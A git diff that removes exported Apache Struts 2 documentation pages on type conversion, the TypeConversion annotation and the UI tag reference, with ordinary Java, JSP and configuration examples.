-<p>The framework supports ways to discover the object type for elements in a collection. The discover is made via an <em>ObjectTypeDeterminer</em>. A default implementation is provided with the framework. The Javadocs explain how Map and Collection support is discovered in the <code>DefaultObjectTypeDeterminer</code>.</p>
-<plain-text-body>{snippet:id=javadoc|javadoc=true|url=com.opensymphony.xwork2.conversion.impl.DefaultObjectTypeDeterminer}</plain-text-body>
-<p>Additionally, you can create your own custom <code>ObjectTypeDeterminer</code> by implementing the <code>ObjectTypeDeterminer</code> interface. There is also an optional ObjectTypeDeterminer that utilizes Java 5 generics. See the <a shape="rect" href="annotations.html">Annotations</a> page for more information.</p>
-
-<h4 id="TypeConversion-Indexingacollectionbyapropertyofthatcollection">Indexing a collection by a property of that collection</h4>
-
-<p>It is also possible to obtain a unique element of a collection by passing the value of a given property of that element. By default, the property of the element of the collection is determined in <em>Class</em>-conversion.properties using <code>KeyProperty_xxx=yyy</code>, where xxx is the property of the bean <em>Class</em> that returns the collection and yyy is the property of the collection element that we want to index on.</p>
-
-<p>For an example, see the following two classes:</p>
-<parameter ac:name="title">MyAction.java</parameter><parameter ac:name="borderStyle">solid</parameter><plain-text-body>
-/**
- * @return a Collection of Foo objects
- */
-public Collection getFooCollection()
-{
-    return foo;
-}
-</plain-text-body>
-<parameter ac:name="title">Foo.java</parameter><parameter ac:name="borderStyle">solid</parameter><plain-text-body>
-/**
- * @return a unique identifier
- */
-public Long getId()
-{
-    return id;
-}
-</plain-text-body>
-<p>To enable type conversion, put the instruction <code>KeyProperty_fooCollection=id</code> in the <code>MyAction-conversion.properties</code> file. This technique allows use of the idiom <code>fooCollection(someIdValue)</code> to obtain the Foo object with value <code>someIdValue</code> in the Set <code>fooCollection</code>. For example, <code>fooCollection(22)</code> would return the Foo object in the <code>fooCollection</code> Collection whose <code>id</code> property value was 22.</p>
-
-<p>This technique is useful, because it ties a collection element directly to its unique identifier. You are not forced to use an index. You can edit the elements of a collection associated to a bean without any additional coding. For example, parameter name <code>fooCollection(22).name</code> and value <code>Phil</code> would set name the Foo Object in the <code>fooCollection</code> Collection whose <code>id</code> property value was 22 to be Phil.</p>
-
-<p>The framework automatically converts the type of the parameter sent in to the type of the key property using type conversion.</p>
-
-<p>Unlike Map and List element properties, if <code>fooCollection(22)</code> does not exist, it will not be created. If you would like it created, use the notation <code>fooCollection.makeNew[index]</code> where <em>index</em> is an integer 0, 1, and so on. Thus, parameter value pairs <code>fooCollection.makeNew[0]=Phil</code> and <code>fooCollection.makeNew[1]=John</code> would add two new Foo Objects to <code>fooCollection --</code> one with name property value <code>Phil</code> and th [...]
-
-<h2 id="TypeConversion-AnadvancedexampleforindexedListsandMaps">An advanced example for indexed Lists and Maps</h2>
-
-<p>Here is the model bean used within the list. The KeyProperty for this bean is the <code>id</code> attribute.</p>
-<parameter ac:name="title">MyBean.java</parameter><parameter ac:name="borderStyle">solid</parameter><plain-text-body>
-public class MyBean implements Serializable {
-
-    private Long id;
-    private String name;
-
-    public Long getId() {
-        return id;
-    }
-
-    public void setId(Long id) {
-        this.id = id;
-    }
-
-    public String getName() {
-        return name;
-    }
-
-    public void setName(String name) {
-        this.name = name;
-    }
-
-
-    public String toString() {
-        return "MyBean{" +
-                "id=" + id +
-                ", name='" + name + '\'' +
-                '}';
-    }
-}
-</plain-text-body>
-<p>The Action has a <code>beanList</code> attribute initialized with an empty ArrayList.</p>
-<parameter ac:name="title">MyBeanAction.java</parameter><parameter ac:name="borderStyle">solid</parameter><plain-text-body>
-public class MyBeanAction implements Action {
-
-    private List beanList = new ArrayList();
-    private Map beanMap = new HashMap();
-
-    public List getBeanList() {
-        return beanList;
-    }
-
-    public void setBeanList(List beanList) {
-        this.beanList = beanList;
-    }
-
-    public Map getBeanMap() {
-        return beanMap;
-    }
-
-    public void setBeanMap(Map beanMap) {
-        this.beanMap = beanMap;
-    }
-
-    public String execute() throws Exception {
-        return SUCCESS;
-    }
-}
-</plain-text-body>
-<p>These <code>conversion.properties</code> tell the TypeConverter to use MyBean instances as elements of the List.</p>
-<parameter ac:name="title">MyBeanAction-conversion.properties</parameter><parameter ac:name="borderStyle">solid</parameter><plain-text-body>
-KeyProperty_beanList=id
-Element_beanList=MyBean
-CreateIfNull_beanList=true
-</plain-text-body>
-<ul><li>When submitting this via a form, the <code>id</code> value is used as KeyProperty for the MyBean instances in the beanList.</li></ul>
-
-
-<ul><li>Notice the () notation! Do not use [] notation, which is for Maps only!</li></ul>
-
-
-<ul><li>The value for name will be set to the MyBean instance with this special id.</li></ul>
-
-
-<ul><li>The List does not have null values added for unavailable id values. This approach avoids the risk of OutOfMemoryErrors!</li></ul>
-
-
-<parameter ac:name="title">MyBeanAction.jsp</parameter><parameter ac:name="borderStyle">solid</parameter><plain-text-body>
-&lt;s:iterator value="beanList" id="bean"&gt;
-  &lt;stextfield name="beanList(%{bean.id}).name" /&gt;
-&lt;/s:iterator&gt;
-</plain-text-body>
-
-<h2 id="TypeConversion-TypeConversionErrorHandling">Type Conversion Error Handling</h2>
-
-<p>Type conversion error handling provides a simple way to distinguish between an input <em>validation</em> problem and an input <em>type conversion</em> problem.</p>
-<plain-text-body>{snippet:id=error-reporting|javadoc=true|url=com.opensymphony.xwork2.conversion.impl.XWorkConverter}</plain-text-body>
-<p>There are two ways the error reporting can occur:</p>
-<ol><li>Globally, using the <a shape="rect" href="conversion-error-interceptor.html">Conversion Error Interceptor</a></li><li>On a per-field basis, using the <a shape="rect" href="conversion-validator.html">conversion validator</a></li></ol>
-
-
-<p>By default, the conversion interceptor is included in <code><a shape="rect" href="struts-defaultxml.html">struts-default.xml</a></code> in the default stack. To keep conversion errors from reporting globally, change the interceptor stack, and add additional validation rules.</p>
-
-<h2 id="TypeConversion-CommonProblems">Common Problems</h2>
-
-<h3 id="TypeConversion-NullandBlankValues">Null and Blank Values</h3>
-
-<p>Some properties cannot be set to null. Primitives like boolean and int cannot be null.  If your action needs to or will accept null or blank values, use the object equivalents Boolean and Integer.  Similarly, a blank string "" cannot be set on a primitive.  At the time of writing, a blank string also cannot be set on a BigDecimal or BigInteger.  Use server-side validation to prevent invalid values from being set on your properties (or handle the conversion errors appropriately).</p>
-
-<h3 id="TypeConversion-Interfaces">Interfaces</h3>
-<p>The framework cannot instantiate an object if it can't determine an appropriate implementation.  It recognizes well-known collection interfaces (List, Set, Map, etc) but cannot instantiate MyCustomInterface when all it sees is the interface. In this case, instantiate the target implementation first (eg. in a prepare method) or substitute in an implementation.</p>
-
-<h3 id="TypeConversion-GenericsandErasure">Generics and Erasure</h3>
-<p>The framework will inspect generics to determine the appropriate type for collections and array elements.  However, in some cases Erasure can result in base types that cannot be converted (typically Object or Enum).</p>
-
-<p>The following is an example of this problem:</p>
-
-<plain-text-body>
-public abstract class Measurement&lt;T extends Enum&gt;
-   public void setUnits(T enumValue) {...}
-}
-
-public class Area extends Measurement&lt;UnitsOfArea&gt; {
-  @Override
-  public void setUnits(UnitsOfArea enumValue){...}
-}
-</plain-text-body>
-<p>Although to the developer the area.setUnits(enumValue) method only accepts a UnitsOfArea enumeration, due to erasure the signature of this method is actually setUnits(java.lang.Enum). The framework does not know that the parameter is a UnitsOfArea and when it attempts to instantiate the Enum an exception is thrown (java.lang.IllegalArgumentException: java.lang.Enum is not an enum type).</p>
-
-<h2 id="TypeConversion-Next:">Next: <a shape="rect" href="interceptors.html">Interceptors</a></h2></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/typeconversion-annotation.html b/content/docs/typeconversion-annotation.html
deleted file mode 100644
index 1b63daa..0000000
--- a/content/docs/typeconversion-annotation.html
+++ /dev/null
@@ -1,216 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>TypeConversion Annotation</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="core-developers-guide.html">Core Developers Guide</a>&nbsp;&gt;&nbsp;<a href="annotations.html">Annotations</a>&nbsp;&gt;&nbsp;<a href="typeconversion-annotation.html">TypeConversion Annotation</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">TypeConversion Annotation</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14028">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14028">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14028">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14028">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14028">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14028">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>This annotation is used for class and application wide conversion rules.</p>
-
-<p></p><p>
-Class wide conversion:<br clear="none">
-The conversion rules will be assembled in a file called <code>XXXAction-conversion.properties</code>
-within the same package as the related action class.
-Set type to: <code>type = ConversionType.CLASS</code>
-</p>
-
-<p></p><p>
-Application wide conversion:<br clear="none">
-The conversion rules will be assembled within the <code>xwork-conversion.properties</code> file within the classpath root.
-Set type to: <code>type = ConversionType.APPLICATION</code>
-</p>
-
-<h2 id="TypeConversionAnnotation-Usage">Usage</h2>
-
-<p></p><p>The TypeConversion annotation can be applied at property and method level.</p>
-
-<h2 id="TypeConversionAnnotation-Parameters">Parameters</h2>
-
-<p><table summary=""><thead><tr><th colspan="1" rowspan="1">Parameter</th><th colspan="1" rowspan="1">Required</th><th colspan="1" rowspan="1">Default</th><th colspan="1" rowspan="1">Description</th></tr></thead><tbody><tr><td colspan="1" rowspan="1">key</td><td colspan="1" rowspan="1">no</td><td colspan="1" rowspan="1">The annotated property/key name</td><td colspan="1" rowspan="1">The optional property name mostly used within TYPE level annotations.</td></tr><tr><td colspan="1" rowspan [...]
-
-
-<h2 id="TypeConversionAnnotation-Examples">Examples</h2>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<script class="brush: java; gutter: false; theme: Confluence" type="syntaxhighlighter"><![CDATA[
-@Conversion()
-public class ConversionAction implements Action {
-
-  private String convertInt;
-
-  private String convertDouble;
-  private List users = null;
-
-  private HashMap keyValues = null;
-
-  @TypeConversion(type = ConversionType.APPLICATION)
-  public void setConvertInt( String convertInt ) {
-      this.convertInt = convertInt;
-  }
-
-  @TypeConversion(converterClass = XWorkBasicConverter.class)
-  public void setConvertDouble( String convertDouble ) {
-      this.convertDouble = convertDouble;
-  }
-
-  @TypeConversion(rule = ConversionRule.COLLECTION, converterClass = String.class)
-  public void setUsers( List users ) {
-      this.users = users;
-  }
-
-  @TypeConversion(rule = ConversionRule.MAP, converterClass = BigInteger.class)
-  public void setKeyValues( HashMap keyValues ) {
-      this.keyValues = keyValues;
-  }
-
-  @TypeConversion(type = ConversionType.APPLICATION, property = &quot;java.util.Date&quot;, converterClass = XWorkBasicConverter.class)
-  public String execute() throws Exception {
-      return SUCCESS;
-  }
-}
-]]></script>
-</div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/ui-tag-reference.html b/content/docs/ui-tag-reference.html
deleted file mode 100644
index f9506ad..0000000
--- a/content/docs/ui-tag-reference.html
+++ /dev/null
@@ -1,258 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>UI Tag Reference</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="tag-developers-guide.html">Tag Developers Guide</a>&nbsp;&gt;&nbsp;<a href="struts-tags.html">Struts Tags</a>&nbsp;&gt;&nbsp;<a href="tag-reference.html">Tag Reference</a>&nbsp;&gt;&nbsp;<a href="ui-tag-reference.html">UI Tag Reference</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">UI Tag Reference</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=19738">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=19738">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=19738">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=19738">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=19738">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=19738">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>Struts UI Tags display data in rich and reusable HTML.</p><div class="table-wrap"><table class="confluenceTable"><tbody><tr><th colspan="1" rowspan="1" class="confluenceTh"><p>Form Tags</p></th><td colspan="1" rowspan="1" class="confluenceTd"><ul><li><a shape="rect" href="checkbox.html">checkbox</a></li><li><a shape="rect" href="checkboxlist.html">checkboxlist</a></li><li><a shape="rect" href="combobox.html">combobox</a></li><li><a shape="rect"  [...]
-        </div>
-
-                    <div class="tabletitle">
-                Children
-            <span class="smalltext" id="show" style="display: inline;">
-              <a href="javascript:showChildren()">Show Children</a></span>
-            <span class="smalltext" id="hide" style="display: none;">
-              <a href="javascript:hideChildren()">Hide Children</a></span>
-            </div>
-            <div class="greybox" id="children" style="display: none;">
-                                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                            </div>
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/ui-tags.html b/content/docs/ui-tags.html
deleted file mode 100644
index 68093bd..0000000
--- a/content/docs/ui-tags.html
+++ /dev/null
@@ -1,169 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>UI Tags</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="tag-developers-guide.html">Tag Developers Guide</a>&nbsp;&gt;&nbsp;<a href="struts-tags.html">Struts Tags</a>&nbsp;&gt;&nbsp;<a href="ui-tags.html">UI Tags</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">UI Tags</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=19736">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=19736">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
